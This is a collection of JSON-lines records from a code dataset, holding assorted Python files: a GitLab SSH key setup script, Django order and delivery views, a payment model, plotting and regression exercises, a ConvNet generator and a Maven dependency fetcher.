+{"seq_id":"571267524","text":"import json\nimport os\nimport subprocess\nimport sys\n\ngood_spot = os.path.expanduser('~/.ssh')\nos.mkdir(good_spot)\n\ntry:\n with open(os.environ['GITLAB_SECRET_FILE_SSH_KEYS'], 'r') as keys_json_file:\n keys = json.loads(keys_json_file.read())\n with open(os.path.join(good_spot, 'id_rsa.pub'), 'w') as f:\n f.write(keys['public'])\n with open(os.path.join(good_spot, 'id_rsa'), 'w') as f:\n f.write(keys['private'])\nexcept:\n print('While attempting to set up the ssh keys.')\n sys.exit(1)\n","sub_path":"setup_gitlab_ssh.py","file_name":"setup_gitlab_ssh.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"476050090","text":"__author__ = 'erush'\nfrom utility import counter\nCounter= counter.Counter\n\ndef word_count(filename):\n x= open(filename,'r')\n words = Counter()\n for i in x.readlines():\n i = i.strip().split(\" \")\n for j in i:\n words[j]+=1\n return words\n\ndef overlap(file1,file2):\n left = word_count(file1)\n right = word_count(file2)\n in_both = Counter()\n for i in left:\n if i in right:\n in_both[i]+= left[i] + right[i]\n return in_both\n","sub_path":"project_1_tests/utility/overlap.py","file_name":"overlap.py","file_ext":"py","file_size_in_byte":488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"235400132","text":"# File defining functions for visualizing robot-arm positions.\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.lines as lines\n\n\ndef get_robot_line_segments(line_lengths, turn_angles):\n assert(len(line_lengths) == len(turn_angles))\n\n x_coordinates = [0.0]\n y_coordinates = [0.0]\n\n current_angle = 0.0\n\n for i, l in enumerate(line_lengths):\n current_angle += turn_angles[i]\n x_coordinates.append(x_coordinates[i] + l * np.cos(current_angle))\n y_coordinates.append(y_coordinates[i] + l * np.sin(current_angle))\n\n return x_coordinates, y_coordinates\n\n\ndef display_robot_arm(line_lengths, turn_angles, target_point=False, display=True, filepath=False):\n line_x, line_y = get_robot_line_segments(line_lengths, turn_angles)\n\n robot_arm = lines.Line2D(line_x, line_y,\n c='green', alpha=0.8, linestyle='-', linewidth=2, marker='.', markersize=10, markerfacecolor='red')\n end_x, end_y = line_x[-1], line_y[-1]\n if target_point:\n miss_distance = np.linalg.norm([target_point[0] - end_x, target_point[1] - end_y])\n\n fig, axis = plt.subplots()\n axis.add_line(robot_arm)\n axis.plot(0, 0, \"bo\") # Plotting Origin\n\n axis.plot(end_x, end_y, \"ko\", label=\"Robot End\", markersize=10) # Plotting end point of the arm:\n\n if target_point:\n axis.plot(target_point[0], target_point[1], 'x', label=\"Target Point\", markersize=10)\n fig.suptitle(f\"Target point: {target_point}, Distance: {miss_distance:.2e} \", fontsize=18)\n else:\n fig.suptitle(\"Robot Arm\", fontsize=18)\n\n plt.tight_layout(rect=[0.03, 0.03, 0.97, 0.965])\n axis.grid(linestyle='--')\n # axis.autoscale()\n # axis.set(aspect=1)\n\n axis.set_xlabel(\"X-coordinate\", fontsize=15)\n axis.set_ylabel(\"Y-coordinate\", fontsize=15)\n\n axis.legend(loc=\"best\", fontsize=16)\n if display:\n plt.show()\n else:\n plt.savefig(filepath, bbox_inces='tight')\n\n\ndef test_display_robot_arm():\n line_length = [1.0, 2.0, 3.0, 4.0, 5.0]\n angles = [np.pi/3, -np.pi/3, -np.pi/3, np.pi/3, -np.pi/3]\n\n display_robot_arm(line_length, angles)\n\n\nif __name__ == \"__main__\":\n test_display_robot_arm()\n","sub_path":"visualization.py","file_name":"visualization.py","file_ext":"py","file_size_in_byte":2199,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"58842711","text":"import requests\nimport time\nwhile True:\n try:\n response=requests.get('http://127.0.0.1:8000/update')\n print(response.status_code)\n time.sleep(20)\n except Exception:\n print('Some error: {0}'.format(Exception))\n time.sleep(50)","sub_path":"mybinans/application/script_directory/cron_task.py","file_name":"cron_task.py","file_ext":"py","file_size_in_byte":265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"592615155","text":"from recipe import *\n\n# link = \"\"\"\n# https://www.allrecipes.com/recipe/246866/rigatoni-alla-genovese/\n# \"\"\"\n# link = \"\"\"\n# https://www.allrecipes.com/recipe/222405/polish-noodles-cottage-cheese-and-noodles/?clickId=right%20rail0&internalSource=rr_feed_recipe_sb&referringId=246866%20referringContentType%3Drecipe\n# \"\"\"\nlink = \"\"\"\n https://www.allrecipes.com/recipe/42429/shrimp-scampi/?internalSource=streams&referringId=913&referringContentType=Recipe%20Hub&clickId=st_trending_b\n \"\"\"\n# link = \"\"\"\n# https://www.allrecipes.com/recipe/237269/refried-bean-and-cheese-enchiladas/?internalSource=streams&referringId=15168&referringContentType=Recipe%20Hub&clickId=st_trending_b\n# \"\"\"\n# link = \"\"\"\n# https://www.allrecipes.com/recipe/17753/coconut-shrimp-i/?internalSource=hub%20recipe&referringId=430&referringContentType=Recipe%20Hub\n# \"\"\"\n\n\nrigatoni_genovese = Recipe(link)\nprint(link)\nrigatoni_genovese.get_soup()\n\n\n# print(rigatoni_genovese.clean_soup(rigatoni_genovese.scrape_instructions()))\n# print(rigatoni_genovese.clean_soup(rigatoni_genovese.scrape_ingredients()))\nprint(rigatoni_genovese.get_recipe())\n\n\"\"\"\nThis is the block of code which writes the recipe to a SQL Database.\nCurrently it only writes the recipe to master table\n\"\"\"\n# title = rigatoni_genovese.write_title_query()\n# rigatoni_genovese.write_to_database(title)\n","sub_path":"rigatoni.py","file_name":"rigatoni.py","file_ext":"py","file_size_in_byte":1402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"506919149","text":"import setuptools\n\nwith open(\"README\", \"r\") as fh:\n long_description = fh.read()\n\nsetuptools.setup(\n name=\"ElPeriodic\",\n version=\"1.0.2\",\n author=\"Maksym Sobolyev\",\n author_email=\"sobomax@gmail.com\",\n description=\"Phase-locked userland scheduling library\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/sobomax/libelperiodic'\",\n packages=[\"elperiodic\"], #setuptools.find_packages(),\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n ],\n)\n\n\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"432714532","text":"from django.db import models\nfrom django.utils.translation import ugettext as _\n\nfrom project.decorators import default_json_settings\n\nfrom ..settings import PAYMENT_SERVICE_SETTINGS_DEFAULT\n\n\n@default_json_settings(PAYMENT_SERVICE_SETTINGS_DEFAULT)\ndef default_json_settings_callable():\n \"\"\"Получение JSON-настроек по умолчанию.\"\"\"\n pass\n\n\nclass PaymentService(models.Model):\n \"\"\"Сервисы онлайн-оплаты.\n\n Attributes:\n id (SlugField): Идентификатор.\n title (CharField): Название.\n slug (SlugField): Псевдоним (должен совпадать с атрибутом ``slug`` класса сервиса-онлайн-оплаты).\n is_active (BooleanField): Работает (``True``) или НЕ работает (``False``).\n is_production (BooleanField): Оплата настоящими деньгами (``True``) или тестовая оплата (``False``).\n settings (TextField): Настройки сервиса-онлайн-оплаты в *JSON*.\n \"\"\"\n id = models.SlugField(\n primary_key=True,\n editable=True,\n max_length=32,\n verbose_name=_('paymentservice_id'),\n )\n title = models.CharField(\n max_length=64,\n verbose_name=_('paymentservice_title'),\n )\n SLUG_SBERBANK = 'sberbank'\n SLUG_SNGB = 'sngb'\n SLUG_CHOICES = (\n (SLUG_SBERBANK, _('paymentservice_slug_sberbank')),\n (SLUG_SNGB, _('paymentservice_slug_sngb')),\n )\n slug = models.CharField(\n choices=SLUG_CHOICES,\n blank=False,\n max_length=32,\n verbose_name=_('paymentservice_slug')\n )\n is_active = models.BooleanField(\n default=False,\n verbose_name=_('paymentservice_is_active'),\n )\n is_production = models.BooleanField(\n default=False,\n help_text=_('paymentservice_is_production_help_text'),\n verbose_name=_('paymentservice_is_production'),\n )\n settings = models.TextField(\n default=default_json_settings_callable,\n verbose_name=_('paymentservice_settings'),\n )\n\n class Meta:\n app_label = 'payment_service'\n db_table = 'third_party_payment_service'\n verbose_name = _('paymentservice')\n verbose_name_plural = _('paymentservices')\n ordering = ('slug', 'title',)\n\n def __str__(self):\n return self.title\n","sub_path":"third_party/payment_service/models/payment_service.py","file_name":"payment_service.py","file_ext":"py","file_size_in_byte":2438,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"535046785","text":"import json\nfrom django.http.response import JsonResponse\nfrom rest_framework import status\nfrom rest_framework.generics import ListAPIView, RetrieveAPIView\nfrom rest_framework.response import Response\nfrom rest_framework.viewsets import GenericViewSet\nfrom extras.models import Address, PaymentType\nfrom orders.models import Delivery, Order, OrderReview\nfrom products.models import Cart, CartItem, Meal\nfrom rest_framework.authtoken.models import Token\nfrom user_roles.models import Admin, Customer, DeliveryOperator\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom rest_framework.decorators import api_view\nfrom rest_framework.exceptions import PermissionDenied\nfrom .serializers import DeliverySerializer, OrderReviewSerializer, OrderSerializer, SemiCompleteDeliverySerializer, SimpleDeliverySerializer ,SimpleOrderSerializer, MyOrderDeliverySerializer\nfrom django.utils.datastructures import MultiValueDictKeyError\nfrom django.db.models import Q\n\n@api_view(['POST'])\ndef submit_order(request):\n try:\n token = request.headers['Authorization']\n except Exception as e:\n raise PermissionDenied\n try:\n data = json.loads(request.body)\n # Those Are The Address The Customer Chooses\n order_lang = data['order_lang']\n order_lat = data['order_lat']\n order_address = Address.objects.get(id=int(data['address_id'])) \n except Exception as e:\n return Response({'message' : 'please pass location details'}, status=status.HTTP_400_BAD_REQUEST)\n try:\n customer = Customer.objects.get(user=Token.objects.get(key=token).user) \n cart ,created = Cart.objects.get_or_create(cart_owner= customer)\n order = Order.objects.create(ordered_by=customer)\n bill = cart.get_customer_total_price()\n order.bill = bill\n order.save()\n except Exception as e:\n raise PermissionDenied\n try:\n _payment = int(data['payment_type'])\n order_note = data['order_note']\n order.order_note = order_note\n if _payment == 0:\n order.pay_home = True \n else:\n payment_type = PaymentType.objects.get(payment_id=data['payment_id'])\n order.payment_type = payment_type\n delivery, created = Delivery.objects.get_or_create(order=order)\n delivery.save()\n order.lang = order_lang \n order.lat = order_lat\n order.order_address=order_address\n order.delivery = delivery \n order.save() \n points = 0\n for cart_item in cart.cart_items.all():\n points += cart_item.meal.meal_points\n cart_item.meal.meal_order_times += cart_item.quantity\n order.cart_items.add(cart_item)\n cart.cart_items.remove(cart_item)\n cart_item.meal.save()\n cart.save()\n order.points = points\n order.save()\n delivery.save()\n except Exception as e:\n return Response({'message':'Please Pass Valid Data'}, status=status.HTTP_400_BAD_REQUEST)\n return Response({'message' : 'order submitted successfully'}, status=status.HTTP_201_CREATED)\n\n\n@api_view(['POST'])\ndef submit_single_order(request):\n try: \n token = request.headers['Authorization']\n except Exception as e:\n raise PermissionDenied\n try:\n data = json.loads(request.body)\n # Those Are The Address The Customer Chooses\n order_lang = data['order_lang']\n order_lat = data['order_lat']\n order_address = Address.objects.get(id=int(data['address_id'])) \n except Exception as e:\n return Response({'message' : 'please pass location details'}, status=status.HTTP_400_BAD_REQUEST)\n try:\n customer = Customer.objects.get(user=Token.objects.get(key=token).user) \n cart,created = Cart.objects.get_or_create(cart_owner=customer)\n cart.save()\n except Exception as e:\n raise PermissionDenied\n try:\n order_note = data['order_note']\n try:\n cart_item, created = CartItem.objects.get_or_create(meal=Meal.objects.get(meal_id = data['meal_id']), cart_item_owner=customer)\n if cart_item in cart.cart_items.all():\n cart.cart_items.remove(cart_item)\n cart.save()\n except Exception as e:\n return Response({'message' : 'Please Pass Valid id'}, status=status.HTTP_404_NOT_FOUND)\n order = Order.objects.create(\n ordered_by = customer, order_note = order_note,\n lang=order_lang , lat=order_lat,\n order_address=order_address\n )\n order.cart_items.add(cart_item)\n order.save()\n _payment = int(data['payment_type'])\n if _payment == 0:\n order.pay_home = True\n else:\n payment_type = PaymentType.objects.get(payment_id=data['payment_id'])\n order.payment_type = payment_type\n order.save()\n delivery, created = Delivery.objects.get_or_create(order=order)\n delivery.save()\n order.delivery= delivery\n order.bill = cart_item.get_customer_meal_item_total_price()\n order.points = cart_item.meal.meal_points\n cart_item.meal.meal_order_times += cart_item.quantity\n order.save()\n cart_item.meal.save()\n\n except Exception as e:\n return Response({'message':'Please Pass Valid Data'}, status=status.HTTP_400_BAD_REQUEST)\n return Response({'message' : 'order submitted successfully'}, status=status.HTTP_201_CREATED)\n\n\n\n\nclass UnoccupiedDeliveries(GenericViewSet):\n def list(self, request):\n queryset = Delivery.objects.filter(is_delivered=False, is_being_delivered=False, delivery_report=\"Some Problem Occured\", delivery_problem_report_choice=\"\")\n page = self.paginate_queryset(queryset)\n serializer = SemiCompleteDeliverySerializer(page, many=True)\n return self.get_paginated_response(serializer.data)\n \n \nclass MyDeliveries(ListAPIView):\n def list(self, request, *args, **kwargs):\n try:\n delivery_operator = DeliveryOperator.objects.get(user=Token.objects.get(key=request.headers['Authorization']).user) \n except ObjectDoesNotExist:\n raise PermissionDenied\n queryset = Delivery.objects.filter(delivery_operator=delivery_operator)\n page = self.paginate_queryset(queryset)\n serializer = SemiCompleteDeliverySerializer(page, many=True)\n return self.get_paginated_response(serializer.data)\n\n\n\n\nclass MyOrders(ListAPIView):\n def list(self, request, *args, **kwargs):\n try:\n customer = Customer.objects.get(user=Token.objects.get(key=request.headers['Authorization']).user) \n except ObjectDoesNotExist:\n raise PermissionDenied\n queryset = Delivery.objects.filter(Q(order__ordered_by=customer)) \n page = self.paginate_queryset(queryset)\n serializer = MyOrderDeliverySerializer(page, many=True)\n return self.get_paginated_response(serializer.data)\n\n\n\nclass OrderRetrieveView(RetrieveAPIView):\n def get(self, request, *args, **kwargs):\n data = json.loads(request.body)\n try:\n token = request.headers['Authorization']\n except KeyError:\n raise PermissionDenied\n try:\n delivery_operator = DeliveryOperator.objects.get(user=Token.objects.get(key=token).user) \n except ObjectDoesNotExist:\n raise PermissionDenied\n try:\n order_id = data['order_id']\n except MultiValueDictKeyError:\n return Response({'message' : 'Please Pass Order Id'}, status=status.HTTP_400_BAD_REQUEST)\n try:\n order = OrderSerializer(Order.objects.get(order_id=order_id)).data\n return Response(order)\n except ObjectDoesNotExist:\n return Response({'message':'wrong order id'}, status= status.HTTP_404_NOT_FOUND)\n\n\n \n\n\nclass AdminOrderRetrieveView(RetrieveAPIView):\n def get(self, request, *args, **kwargs):\n try:\n token = request.headers['Authorization']\n admin = Admin.objects.get(user=Token.objects.get(key=token).user) \n except KeyError:\n raise PermissionDenied\n try:\n order_id = request.POST['order_id']\n order = OrderSerializer(Order.objects.get(id=order_id)).data\n return Response(order)\n except Exception as e:\n return JsonResponse({'message' : 'Please Pass Valid Order Id'})\n\n\nclass CustomerOrderRetrieveView(RetrieveAPIView):\n def get(self, request, *args, **kwargs):\n try:\n token = request.headers['Authorization']\n customer = Customer.objects.get(user=Token.objects.get(key=token).user) \n except Exception as e:\n raise PermissionDenied\n try:\n order_id = request.POST['order_id']\n order = OrderSerializer(Order.objects.get(id=order_id)).data\n return Response(order)\n except Exception as e:\n return JsonResponse({'message' : 'Please Pass Valid Order Id'})\n\n\n\nclass DeliveryRetrieveView(RetrieveAPIView):\n def get(self, request,delivery_id, *args, **kwargs):\n try:\n token = request.headers['Authorization']\n delivery_operator = DeliveryOperator.objects.get(user=Token.objects.get(key=token).user) \n except Exception as e :\n raise PermissionDenied\n try:\n delivery = Delivery.objects.get(delivery_id=delivery_id)\n delivery_serialized = DeliverySerializer(delivery).data\n order = OrderBackup.objects.get(order=Order.objects.get(delivery=delivery)) \n order_serialized = OrderBackupSerializer(order).data\n return JsonResponse({\n \"delivery\" : delivery_serialized,\n \"order_backup\" : order_serialized,\n }) \n except Exception as e:\n return Response({'message' : 'Please Pass Valid Delivery Id'} ,status=status.HTTP_400_BAD_REQUEST)\n\n\n\n\n@api_view(['POST'])\ndef start_delivery(request):\n try:\n token = request.headers['Authorization']\n except KeyError:\n raise PermissionDenied\n try:\n delivery_operator = DeliveryOperator.objects.get(user=Token.objects.get(key=token).user) \n if delivery_operator.delivering:\n return JsonResponse({'message' : 'Delivery Operator Is Delivering The Order'})\n except ObjectDoesNotExist:\n raise PermissionDenied\n try:\n data = json.loads(request.body)\n delivery_id = data['delivery_id']\n except Exception as e :\n return JsonResponse({'message' : 'Please Pass Delivery Id'})\n try:\n delivery = Delivery.objects.get(delivery_id=delivery_id)\n delivery.is_being_delivered = True\n delivery.delivery_operator = delivery_operator\n delivery.save()\n delivery_operator.delivering = True\n delivery_operator.save()\n return JsonResponse({'message' : 'started delivery session'})\n except ObjectDoesNotExist:\n return Response({'message':'wrong order id'}, status=status.HTTP_404_NOT_FOUND)\n\n\n\n@api_view(['POST'])\ndef end_delivery(request):\n try:\n token = request.headers['Authorization']\n except KeyError:\n raise PermissionDenied\n try:\n delivery_operator = DeliveryOperator.objects.get(user=Token.objects.get(key=token).user) \n except ObjectDoesNotExist:\n raise PermissionDenied\n data = json.loads(request.body)\n try:\n delivery_id = data['delivery_id']\n delivery_report = data['delivery_report']\n except Exception as e:\n return Response({'message' : 'Please Pass Required Info'}, status=status.HTTP_400_BAD_REQUEST)\n try:\n delivery = Delivery.objects.get(delivery_id=delivery_id)\n if delivery_report == 'success':\n print('in')\n delivery_recieved_money = int(data['recieved_money'])\n delivery_operator.Deliveries.add(delivery)\n delivery_operator.save()\n delivery.is_delivered = True\n delivery.is_being_delivered = False\n delivery_operator.delivering = False\n delivery.order.ordered_by.points += delivery.order.points\n delivery.delivery_report = \"SUCCESS\"\n delivery.save()\n delivery.order.ordered_by.save()\n delivery.order.save()\n delivery_operator.save()\n return JsonResponse({'message' : 'ended delivery session', \"money_recieved\" : delivery_recieved_money})\n else:\n try:\n delivery_choice = data['delivery_choice']\n delivery.delivery_problem_report_choice = delivery_choice\n delivery.delivery_report = delivery_report\n delivery.save()\n delivery_operator.delivering = False\n delivery.is_delivered = False\n delivery.is_being_delivered = False\n delivery_operator.Deliveries.add(delivery)\n delivery_operator.save()\n delivery.delivery_operator = delivery_operator\n delivery.save()\n return JsonResponse({'message' : 'ended delivery session', \"delivery_report_choice\" : delivery_choice})\n except Exception as e:\n return Response({'message' : 'Please Pass Required Info'}, status=status.HTTP_400_BAD_REQUEST)\n except Exception as e:\n return Response({'message':'wrong order id'}, status=status.HTTP_404_NOT_FOUND)\n\n\n\n\n\n@api_view(['POST'])\ndef update_location(request):\n try:\n token = request.headers['Authorization']\n delivery_operator = DeliveryOperator.objects.get(user=Token.objects.get(key=token).user) \n except Exception as e:\n raise PermissionDenied\n try:\n data = json.loads(request.body)\n delivery = Delivery.objects.get(is_being_delivered = True ,delivery_operator = delivery_operator)\n delivery.lang = int(data['lang'])\n delivery.lat = int(data['lat'])\n delivery.save()\n return JsonResponse({'message' : 'updated'})\n except Exception as e:\n return JsonResponse({'message' : 'updated'})\n\n\n# https://www.upidev.com/tutoriels/send-a-push-notification-with-firebase-django/ For Sending Notification\n\n@api_view(['POST'])\ndef admin_start_delivery(request):\n try:\n token = request.headers['Authorization']\n except KeyError:\n raise PermissionDenied\n try:\n admin = Admin.objects.get(user=Token.objects.get(key=token).user) \n except ObjectDoesNotExist:\n raise PermissionDenied\n try:\n data = json.loads(request.body)\n delivery_operator = DeliveryOperator.objects.get(delivery_operator_id = data['delivery_operator_id']) \n if delivery_operator.delivering:\n return JsonResponse({'message' : 'Delivery Operator Is Delivering An Order'})\n except Exception as e:\n return Response({'message' : 'Please Pass Delivery Operator Id'}, status=status.HTTP_404_NOT_FOUND)\n try:\n delivery_id = request.POST['delivery_id']\n delivery = Delivery.objects.get(delivery_id=delivery_id)\n except MultiValueDictKeyError:\n return Response({'message' : 'Please Pass Valid Delivery Id'}, status=status.HTTP_404_NOT_FOUND)\n try: \n delivery_operator.delivering = True\n delivery_operator.save()\n delivery.is_being_delivered = True\n delivery.delivery_operator = delivery_operator\n delivery.save()\n return JsonResponse({'message' : 'started delivery session'})\n except ObjectDoesNotExist:\n return Response({'message':'wrong order id'}, status=status.HTTP_404_NOT_FOUND)\n\n\n\n\n\n@api_view(['POST'])\ndef add_order_review(request):\n try:\n customer = Customer.objects.get(user=Token.objects.get(key=request.headers['Authorization']).user) \n except Exception as e:\n raise PermissionDenied\n \n try:\n data = json.loads(request.body)\n order = Order.objects.get(id=data['order_id'])\n package_review = float(data['package_review']) \n delivery_review = float(data['delivery_review'])\n comment = data['comment']\n order_review = OrderReview.objects.create(\n order=order,\n package_review=package_review,\n delivery_review=delivery_review,\n comment=comment\n )\n order_review.save()\n try:\n delivery = Delivery.objects.get(order=order)\n delivery.is_reviewed = True\n delivery.save()\n except Exception as e:\n return Response({\n \"message\" : \"Please Pass Valid Order Id\"\n }, status=status.HTTP_400_BAD_REQUEST) \n return Response({\"message\" : \"Order Review Submited Successfully\"}, status=status.HTTP_201_CREATED)\n except Exception as e:\n return Response({\n \"message\" : \"Please Pass Valid Data\"\n }, status=status.HTTP_400_BAD_REQUEST)\n \n \n\n\n@api_view(['GET'])\ndef my_orders_reviews(request):\n try:\n customer = Customer.objects.get(user=Token.objects.get(key=request.headers['Authorization']).user) \n except Exception as e:\n raise PermissionDenied\n return Response(OrderReviewSerializer(OrderReview.objects.filter(order__ordered_by=customer), many=True).data)\n ","sub_path":"orders/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":17322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"245984432","text":"from abstract.abstract_class_V import V\nimport torch.nn as nn\nfrom torch.autograd import Variable\nimport torch,numpy\ndef convnet_fun_generator(dataset,problem_type,num_units_list,activations_list,is_skip_connections,prior_dict):\n X = dataset[\"input\"]\n target = dataset[\"target\"]\n if problem_type == \"regression\":\n criterion = nn.MSELoss\n output_dim = 1\n elif problem_type == \"classification\":\n criterion = nn.NLLLoss\n output_dim = numpy.unique(target)\n class ConvNet(V):\n def __init__(self):\n super(ConvNet, self).__init__()\n self.layer1 = nn.Sequential(\n nn.Conv2d(1, 16, kernel_size=5, stride=1, padding=2),\n nn.ReLU(),\n nn.MaxPool2d(kernel_size=2, stride=2))\n self.layer2 = nn.Sequential(\n nn.Conv2d(16, 32, kernel_size=5, stride=1, padding=2),\n nn.ReLU(),\n nn.MaxPool2d(kernel_size=2, stride=2))\n self.fc = nn.Linear(7 * 7 * 32, output_dim)\n self.prepare_priors(prior_dict)\n\n def log_likelihood(self,X,y):\n if X == None:\n input_data = self.X\n target = self.target\n else:\n input_data = Variable(torch.from_numpy(X), requires_grad=False)\n target = Variable(torch.from_numpy(y), requires_grad=False)\n out = self.layer1(input_data)\n out = self.layer2(out)\n out = out.reshape(out.size(0), -1)\n out = self.fc(out)\n loss = criterion(out, target)\n return(loss)\n\n def log_prior(self):\n\n return()\n def forward(self, X,y):\n out_liklihood = self.log_likelihood(X,y)\n out_prior = self.log_prior()\n log_posterior = out_prior + out_liklihood\n out = -log_posterior\n return(out)\n def p_y_given_theta(self, observed_datapoint, posterior_param_point):\n self.load_point(posterior_param_point)\n out = self.forward(X=observed_datapoint[\"input\"],y=observed_datapoint[\"target\"])\n out = torch.exp(-out * 0.5)\n return (out.data[0])\n\n def log_p_y_given_theta(self, observed_datapoint, posterior_point):\n self.load_point(posterior_point)\n out = -self.forward(X=observed_datapoint[\"input\"],y=observed_datapoint[\"target\"]) * 0.5\n return (out.data[0])\n\n return(ConvNet)","sub_path":"distributions/neural_nets/deprecated_code/convnet_fun_generator.py","file_name":"convnet_fun_generator.py","file_ext":"py","file_size_in_byte":2466,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"457079290","text":"#!/bin/python36\n#3b-opt.py\n#Meme que le 3a mais il dispose d'options au lancement\n#11/11/2018\n#ANTON Guillaume\n\ndef createArchive():\n os.remove(dossierData + '/archive.tar.gz')\n shutil.move(archive + '.tar.gz', dossierData)\n\n\ndef deleteArchive():\n if os.path.exists(archive + '.tar.gz'):\n os.remove(archive + '.tar.gz')\n\n\ndosData = os.path.expanduser('./data/')\ndosScripts = os.path.expanduser('../scripts')\narchive = os.path.expanduser('./archive')\n\n\nos.makedirs(dossierData, exist_ok=True)\nsys.stdout.write('Le dossier \\'data\\' vient d\\'être créé.\\n')\n","sub_path":"scripts/3b-opt.py","file_name":"3b-opt.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"517288668","text":"import math\nimport matplotlib.pyplot as plt\nimport stats\nimport world_stats\n\n##### Problem 1: Read the Data #####\n\n\n########################\n#### YOUR CODE HERE ####\n########################\n\nfertility, GDP = world_stats.retrieve_data()\n\n##### Problem 2: Scatter Plot #####\n\n#### If Problem 1 was done correctly, you should be ####\n#### able to generate a scatter plot of fertility and GDP ####\n \nplot1 = plt.scatter(GDP,fertility)\nplt.xlabel('GDP Per Capita')\nplt.ylabel('Fertility')\nplt.show(plot1)\n\n#### Problem 3: Log Transformation ####\n\n########################\n#### YOUR CODE HERE ####\n########################\nlog_GDP = []\nlog_fertility = []\nfor i in GDP:\n m = math.log(float(i),2)\n log_GDP.append(m)\nfor i in fertility:\n m = math.log(float(i),2)\n log_fertility.append(m)\n\n#### Problem 4: Scatter Plot (Log) ####\n\nplot2 = plt.scatter(log_GDP,log_fertility)\nplt.xlabel('Log(GDP Per Capita)')\nplt.ylabel('Log(Fertility)')\nplt.show(plot2)\n\n#### Problem 5: Regression Function ####\n\n########################\n#### YOUR CODE HERE ####\n########################\n\nsumm = 0\nn = len(log_fertility)\nfor i in log_fertility:\n summ += i\nymean = summ/n\nsumm = 0\nfor i in log_GDP:\n summ += i\nxmean = summ/n\n\nSXY = 0\nSXX = 0\nfor i in range(n):\n SXY += (log_GDP[i] - xmean)*(log_fertility[i] - ymean)\n SXX += (log_GDP[i] - xmean)**2\nbeta1 = SXY/SXX\nbeta0 = ymean - beta1*xmean\n\nprint(\"The Regression Function is:\", \"y =\", round(beta0,2),\"+\", str(round(beta1,2))+\"x\", \"\\n\")\n\nx_line = list(range(5,20))\ny_line = [beta0+beta1*i for i in x_line]\nplt.scatter(log_GDP,log_fertility) ###\nplt.plot(x_line,y_line)\nplt.xlabel('Log(GDP Per Capita)')\nplt.ylabel('Log(Fertility)')\nplt.show()\n\n#### Problem 6: Prediction ####\n\n########################\n#### YOUR CODE HERE ####\n########################\n\n#log_fertility = β0 + β1log_GDP, beta0 and beta1\n#fertility rates for countries A, B, and C\n#with a GDP per capita of $5100, $12,200, and $41,700.\n\nGDPlist = [5100,12200,41700]\ncountry = ['A', 'B', 'C']\nfor i in range(3):\n logG = math.log(GDPlist[i],2)\n \n plog_fertility = beta0 + beta1*logG\n pfertility = 2**plog_fertility\n\n print('Predicted Fertility Rate for Country',country[i], 'is', '%.2f'%pfertility)\n\n\n\n\n\n\n \n","sub_path":"linear-regression.py","file_name":"linear-regression.py","file_ext":"py","file_size_in_byte":2235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"220204127","text":"n_tests = int(input())\n\nfor i in range(n_tests):\n n_shots = int(input())\n shots = input().split()\n actions = input()\n\n shots_hit = 0\n\n for i, shot in enumerate(shots):\n shot_height = int(shot)\n\n if shot_height > 2 and actions[i] == 'J':\n shots_hit += 1\n \n if shot_height <= 2 and actions[i] == 'S':\n shots_hit += 1\n\n print(shots_hit)\n","sub_path":"python/1250.py","file_name":"1250.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"138464621","text":"#!/usr/bin/python3\nfrom subprocess import call\nfrom os import path\n\nimport pyb_util as util\n\ndef fetch(repositories_list, download_dir, maven_exec='mvn', temp_dir='tmp'):\n\t\"\"\"\n\tfetch(repositories_list, download_dir, maven_exec='mvn')\n\t\n\tDownloads specified maven dependencies, along with their dependencies, to the \n\tspecified download_dir.\n\t\n\trepositories_list - list of strings in gradle format 'groupId:artifactId:version' \n\t\t(eg 'info.picocli:picocli:4.1.4')\n\t\n\tdownload_dir - folder where to download the maven .jar files\n\t\n\tmaven_exec - maven command to use for this operation (default = 'mvn')\n\t\n\ttemp_dir - folder to use for temporarily created files, such as the \n\t\tpom.xml file (default = 'tmp')\n\t\n\t\"\"\"\n\tif(type(repositories_list) == str):\n\t\trepo_list = [repositories_list]\n\telse:\n\t\trepo_list = repositories_list\n\tif(len(repo_list) <= 0):\n\t\t# no deps, do nothing\n\t\treturn\n\tpom_file = path.join(temp_dir, 'mock-pom.xml')\n\tutil.make_parent_dir(pom_file)\n\twith open(pom_file, 'w') as pout:\n\t\tpout.write(' 4.0.0 project dependency list \\n\\n')\n\t\tfor lib_str in repositories_list:\n\t\t\ttokens = lib_str.strip().split(':')\n\t\t\tif(len(tokens) != 3):\n\t\t\t\terror('invalid maven dependency string \"%s\"\\nmaven dependencies must be in format of \"groupId:artifactId:version\"' % lib_str)\n\t\t\t\treturn False\n\t\t\tpout.write(' ')\n\t\t\tpout.write(' %s' % tokens[0])\n\t\t\tpout.write(' %s' % tokens[1])\n\t\t\tpout.write(' %s' % tokens[2])\n\t\t\tpout.write(' ')\n\t\tpout.write(' ')\n\tprint()\n\tprint('Fetching Maven dependencies:\\n\\t', 